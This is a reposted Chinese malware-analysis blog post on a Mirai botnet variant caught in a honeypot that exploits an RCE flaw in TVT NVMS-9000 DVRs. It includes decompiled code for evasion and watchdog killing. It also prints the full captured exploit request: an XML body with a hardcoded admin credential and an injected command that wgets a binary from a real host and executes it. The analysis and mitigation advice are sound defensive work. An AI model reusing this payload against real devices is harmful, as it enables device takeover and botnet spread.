新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

逆向病毒分析 2年前 (2022) admin
772 0 0

基本信息

文件名 garm7
MD5 62e04eb8fddf12afdb9a15ac8be1f4df
SHA-1 ff3d64ca7ec8a39938c3a2071f375c2b60d643d7
SHA-256 c5fe1eb3a3f1ab1d7cbd780cba4a97df2a8199627ea12a707c3cc7edf8c8ecb9
Vhash d29277f91b89e247d7787668032842c4
SSDEEP 3072:34c6yjHn9iKxdJRwMFq7X1aTZ9FTM07YFXiwfYVefDUrKUHM/9V1EMmUb3WM9Bx:Ic6yH1xZdFqj1aTZ9FTM0UFSZ0grKQMB
TLSH T16E044D46AA409A13C1D7177AFA9F024633329B64D3DB730699286FF43F8775E0E63606
File type ELF
Magic ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, not stripped
Telfhash t1f631aeb15f2b95151669dbec88e873ab411c97252247ef33ff22c5ac940908ee125c0f
TrID ELF Executable and Linkable format (generic) (100%)
File size 178.27 KB (182551 bytes)

攻击来源

IP 211.227.170.90
地理位置 韩国

攻击传播源可能IP

185.125.188.54
185.125.190.27
185.125.190.26

来自英国伦敦

安全通告

新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

在5月17号,启明星辰发布公告通告存在 ip 利用TVT_NVMS-9000存在 RCE 漏洞,5月26日首次在 VT 发现利用该漏洞的 Mirai 可疑样本。

新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

6月2日本人搭建个人蜜罐捕获了可疑攻击流量中发现了该样本文件,于是秉承学习的想法,开始了查阅资料的学习。

主要流程

和曾经的 IOTroop 类似

1、已被感染的设备会扫描周围的其它设备,并把扫描到的信息传给 reporter 服务器,这些易感染的设备信息再有 reporter 服务器交给 loader 服务器。

2、loader 服务器收到感染设备信息后,利用上面的 IOT 漏洞进行恶意代码植入。

3、植入一旦成功,就会从 downloader 服务器下载样本,同时会扫描周围其它的 IOT 设备上传到 reporter 服务器。

4、等到攻击者构建了足够规模的僵尸网络,controller 服务器就会下发指令

开始分析

新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

在沙箱中我们可以看到该文件有自己的反调试的实现,对我这样一个初学样本分析的 noob 而言,实现动调比较困难

新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

既然动态调试不太成功,那我们可以考虑一下静态调试。首先拖入 IDA 找到main函数

新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

映入眼帘的就是检查有无获取建立连接和修改 dns 服务器以求更稳定的连接的操作,随后就开始获取信息,进行下一步隐藏和攻击。

通过lma0_unlock_val我们可以跟进去查看相关的一个解锁算法,但是我们看不到它的字符内容,因为它无法动调,他将重要的字符串都做了加密处理。

char *__fastcall lma0_unlock_val(int a1)
{
  char *result; // r0
  char v2; // r6
  char v3; // r5
  unsigned int v4; // r4
  char v5; // lr
  int v6; // r12

  result = &lma0[8 * a1];
  v2 = BYTE1(lma0_key);
  v3 = BYTE2(lma0_key);
  v4 = HIBYTE(lma0_key);
  v5 = lma0_key;
  if ( *((_WORD *)result + 2) )
  {
    v6 = 0;
    do
    {
      *(_BYTE *)(v6 + *(_DWORD *)result) ^= v5;
      *(_BYTE *)(v6 + *(_DWORD *)result) ^= v2;
      *(_BYTE *)(v6 + *(_DWORD *)result) ^= v3;
      *(_BYTE *)(v6 + *(_DWORD *)result) ^= v4;
      ++v6;
    }
    while ( *((unsigned __int16 *)result + 2) > v6 );
  }
  return result;
}

通过追踪lma0_key我们可以找到 key 值

新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

随后样本在收集完需要的信息后,就开始了隐藏自己的操作,该程序大量借鉴了 Mirai 的源码以及 Hoaxcalls 的源码
v10 = opendir("/proc");              // 打开/proc挂载目录
  while ( 1 )
  {
    v11 = readdir(v10);              // 获取proc下的进程号,与程序进行比较验证
    if ( !v11 )
      break;
    while ( 1 )
    {
      v12 = atol(v11 + 11);
      if ( v12 <= 0 )
        break;
      if ( getppid() == v12 )        // 此处就是在进行比较验证
        break;
      if ( getpid() == v12 )
        break;
      memset(v79, 0sizeof(v79));
      v13 = (const char *)table_retrieve(0x100);
      v14 = (const char *)table_retrieve(0x110);
      sprintf(v78, "%s%d%s", v13, v12, v14);
      readlink(v78, v79, 4095);           // 获取当前路径
      v15 = table_retrieve('0'0);
      if ( strcasestr(v79, v15) )         // 检索
        break;
      v16 = lma0_retrieve_val(20);
      if ( strcasestr(v79, v16) )
        goto LABEL_11;
      v34 = table_retrieve(0x180);
      if ( strcasestr(v79, v34) )
        goto LABEL_11;
      v35 = table_retrieve(0x190);
      if ( strcasestr(v79, v35) )
        goto LABEL_11;
      v36 = table_retrieve(0x1A0);
      if ( strcasestr(v79, v36) )
        goto LABEL_11;
      v37 = table_retrieve(0x1B0);
      if ( strcasestr(v79, v37) )
        goto LABEL_11;
      v38 = table_retrieve(0x1C0);
      if ( strcasestr(v79, v38) )
        goto LABEL_11;
      v39 = table_retrieve(0x1D0);
      if ( strcasestr(v79, v39) )
        goto LABEL_11;
      v40 = table_retrieve(0x1E0);
      if ( strcasestr(v79, v40) )
        goto LABEL_11;
      v41 = table_retrieve(0x1F0);
      if ( strcasestr(v79, v41) )
        goto LABEL_11;
      v42 = table_retrieve(' '0);
      if ( strcasestr(v79, v42)
        || (v43 = table_retrieve('!'0), strcasestr(v79, v43))
        || (v44 = table_retrieve('"'0), strcasestr(v79, v44))
        || (v45 = table_retrieve('#'0), strcasestr(v79, v45))
        || (v46 = table_retrieve('$'0), strcasestr(v79, v46))
        || (v47 = table_retrieve('%'0), strcasestr(v79, v47))
        || (v48 = table_retrieve('''0), strcasestr(v79, v48))
        || (v49 = table_retrieve(')'0), strcasestr(v79, v49))
        || strcasestr(v79, "=p{|=pgakp}j2VW_]") )
      {
LABEL_11:
        kill(v12, 9);                    // 将自己的进程停止
      }
      util_zero(v78, 4096);
      v11 = readdir(v10);                // 读出挂在的进程文件
      if ( !v11 )
        goto LABEL_13;
    }
  }

随后在watchdog_maintain(v17);开始对 watchdog 进行清理关闭

LABEL_13:
  rewinddir(v10);               // 重载和关闭目录
  closedir(v10);
  table_lock_val(0x10);
  table_lock_val(0x11);
  table_lock_val(0x18);
  table_lock_val(0x19);
  table_lock_val(0x1A);
  table_lock_val(0x1B);
  table_lock_val(0x1C);
  table_lock_val(0x1D);
  table_lock_val(0x1E);
  table_lock_val(0x1F);
  table_lock_val(0x20);
  table_lock_val(0x21);
  table_lock_val(0x22);
  table_lock_val(0x23);
  table_lock_val(0x24);
  table_lock_val(0x25);
  table_lock_val(0x27);
  table_lock_val(0x29);
  table_lock_val(0x30);
  lma0_lock_val(1);
  v17 = lma0_lock_val(2);
  v18 = watchdog_maintain(v17);
  v19 = ensure_single_instance(v18);
  rand_init(v19);
  v20 = util_zero(v83, 32);

跟进watchdog_maintain(v17);可以看到函数将可能存在的watchdog全部检索关闭

  int result; // r0
  _BOOL4 v2; // r5
  int v3; // r4
  int v4; // [sp+4h] [bp-14h] BYREF

  result = fork(a1);
  v2 = result > 0 || result == -1;
  watchdog_pid = result;
  if ( !v2 )
  {
    v4 = 1;
    v3 = open("/dev/watchdog"2);
    if ( v3 == -1 )
    {
      v3 = open("/dev/watchdog0"2);
      if ( v3 == -1 )
      {
        v3 = open("/dev/misc/watchdog"2);
        if ( v3 == -1 )
        {
          v3 = open("/etc/watchdog"2);
          if ( v3 == -1 )
          {
            v3 = open("/dev/FTWDT101_watchdog"2);
            if ( v3 == -1 )
            {
              v3 = open("/dev/FTWDT101/watchdog"2);
              if ( v3 == -1 )
              {
                v3 = open("/sbin/watchdog"2);
                if ( v3 == -1 )
                {
                  v3 = open("/bin/watchdog"2);
                  if ( v3 == -1 )
                  {
                    v3 = open("/etc/default/watchdog"2);
                    if ( v3 == -1 )
                      exit(0);
                  }
                }
              }
            }
          }
        }
      }
    }
    ioctl(v3, -2147199228, &v4);
    while ( 1 )
    {
      ioctl(v3, -21471992270);
      sleep(10);
    }
  }
  return result;
}

加载成功随后开始生成攻击数据以及开启多线程向外感染,一个单独的加载程序通过登录、确定底层系统环境,最后下载并执行特定于体系结构的恶意软件,异步地影响这些易受攻击的设备。

  v19 = ensure_single_instance(v18);
  rand_init(v19);
  v20 = util_zero(v83, 32);
  if ( argc == 2 )
  {
    v20 = util_strlen(argv[1]);
    if ( v20 <= 31 )
    {
      util_strcpy(v83, argv[1]);
      v32 = argv[1];
      v33 = util_strlen(v32);
      v20 = util_zero(v32, v33);
    }
  }
  v21 = rand_next(v20);
  v22 = util_strlen(*argv);
  v23 = util_strlen(*argv) + v21 % (20 - v22);
  rand_alpha_str(v84, v23);                // 生成攻击数据
  v24 = *argv;
  v84[v23] = 0;
  util_strcpy(v24, v84);
  v25 = util_zero(v84, 32);
  v26 = rand_next(v25);
  v27 = util_strlen(*argv);
  v28 = util_strlen(*argv) + v26 % (20 - v27);
  rand_alpha_str(v84, v28);                // 生成攻击数据
  v84[v28] = 0;
  prctl(15, v84);
  resolve_func = (int (__fastcall *)(_DWORD))resolve_cnc_addr;// 可参考Hoaxcalls僵尸网络
  table_add(4);
  v29 = table_retrieve(4, &v89);
  write(1, v29, v89);
  write(1"n"1);
  v30 = table_lock_val(4);
  if ( fork(v30) <= 0 )
  {
    v76 = setsid();
    v50 = attack_init();                    // 开启传播进程
    v51 = killer_init(v50);
    v52 = tvt_scanner_scanner_init(v51);    // 向外扫描传播
    scanner_init(v52);

跟进tvt_scanner_scanner_init(v51);可以看到存在攻击 poc

          if ( v72 == 2 )
          {
            util_strcpy(
              v68 + 536,
              "POST /editBlackAndWhiteList HTTP/1.1rn"// tvt_NVMS-9000 RCE
              "Accept-Encoding: identityrn"
              "Content-Length: 644rn"
              "Accept-Language: en-usrn"
              "Host: ");
            sprintf(
              v85,
              "%d.%d.%d.%d:%d",              // 此处使用之前获取的report(本地)ip
              (unsigned __int8)*((_DWORD *)v68 + 3),
              BYTE1(*((_DWORD *)v68 + 3)),
              (unsigned __int8)BYTE2(*((_DWORD *)v68 + 3)),
              HIBYTE(*((_DWORD *)v68 + 3)),
              our_Port);
            strcat(v68 + 536, v85);
            strcat(
              v68 + 536,
              "rn"                        // 伪造虚假管理员信息
              "Accept: */*rn"
              "User-Agent: Mozila/5.0rn"
              "Connection: closern"
              "Cache-Control: max-age=0rn"
              "Content-Type: text/xmlrn"
              "Authorization: Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0=rn"
              "rn");
            table_add(59);
            v79 = table_retrieve(590);

通过该被控制的服务,向外继续扫描,以达到壮大僵尸网络的目的。

为了以防万一在后面还进行了一次 kill dog 的检测

          if ( fd_ctrl != -1 && ((*(int *)&v90[2 * ((unsigned int)fd_ctrl >> 5) - 119] >> (fd_ctrl & 0x1F)) & 1) != 0 )
          {
            v88 = 16;
            v69 = accept();
            v70 = scanner_kill(v69);
            killer_stop(v70);
            kill(-v76, 9);
            if ( watchdog_pid )
              kill(watchdog_pid, 9);            // 关闭watchdog
            exit(0);
          }

最终蜜罐捕获攻击者发送的流量包内容为:

POST/editBlackAndWhiteListHTTP/1.1
Accept:*/*
Accept-Encoding:identity
Accept-Language:en-us
Authorization:Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0=
Cache-Control:max-age=0
Connection:close
Content-Length:644
Content-Type:text/xml
User-Agent:Mozila/5.0
<?xml version="1.0" encoding="utf-8"?><request version="1.0" systemType="NVMS-9000" clientType="WEB"><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type="filterTypeMode">refuse</filterType><filterList type="list"><itemType><addressType type="addressType"/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(cd${IFS}/tmp;wget${IFS}http://92.118.230.134/garm7${IFS}-O-${IFS}>GSec;chmod${IFS}777${IFS}GSec;./GSec${IFS}tvt)</ip></item></filterList></content></request>

如此我们可以看到,他实际上是借用漏洞去下载一个二进制木马程序并执行,目前 VT 收到的样本数量较少,而且攻击流量越来越多,表明许多设备可能已经被感染了。

处理意见

  1. 更新最新的版本固件,检查/tmp目录下文件

  2. 检查 watchdog 是否异常关闭

  3. /editBlackAndWhiteList访问请求控制

  4. 实时关注最新防御动态

  5. 将您的摄像头配置在NAT之后,不要直接暴露在互联网中

总结

该 mirai 病毒在后续的深入了解中发现,似乎最早曾经于19年出现过一段高度快速传播时期,主要ip为:93.174.93.178 近期又一次利用僵尸网络加快其传播速度IP为92.118.230.134

  • 2019于10月2日至10月7日发起,在此期间,93.174.93.178 完成了其十月以来的所有漏洞探测行为
  • 2019年10月7日之后,93.174.93.178 停止了漏洞探测活动
  • 2020年1月至2020年4月,该攻击非常活跃
  • 2020年5月-6月,该攻击骤减
  • 2020年7月起,该攻击再次活跃
  • 2022年六月起,继续捕获到该攻击活跃

此次针对 TVT DVR 的攻击,复杂的攻击流程、base64 编码的恶意载荷、建立反向 shell 的样本投递方法,极大程度隐藏了其样本服务器的信息,无论对捕获系统的交互能力还是对捕获后的分析,都是一种极高考验。

并且我们怀疑攻击人员对该漏洞的利用进行了微调。另外,大部分被感染的服务器还在不同程度地参与了扫描探测活动,利用其他漏洞和服务,攻击物联网设备。

该程序利用 POC 并无 CVE 编号,但已在 github 存在公开 POC,据 20 年 7 月时官房未发布相关补丁,截至今日官方似乎仍未发布相关补丁。

参考文献

  1. https://www.venustech.com.cn/new_type/mzsjgg/20220517/23876.html

  2. https://www.secrss.com/articles/14661

  3. https://blog.csdn.net/systemino/article/details/105394761

  4. https://cloud.tencent.com/developer/article/1670405

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

原文始发于微信公众号(ChaMd5安全团队):新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃

版权声明:admin 发表于 2022年6月7日 上午8:01。
转载请注明:新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...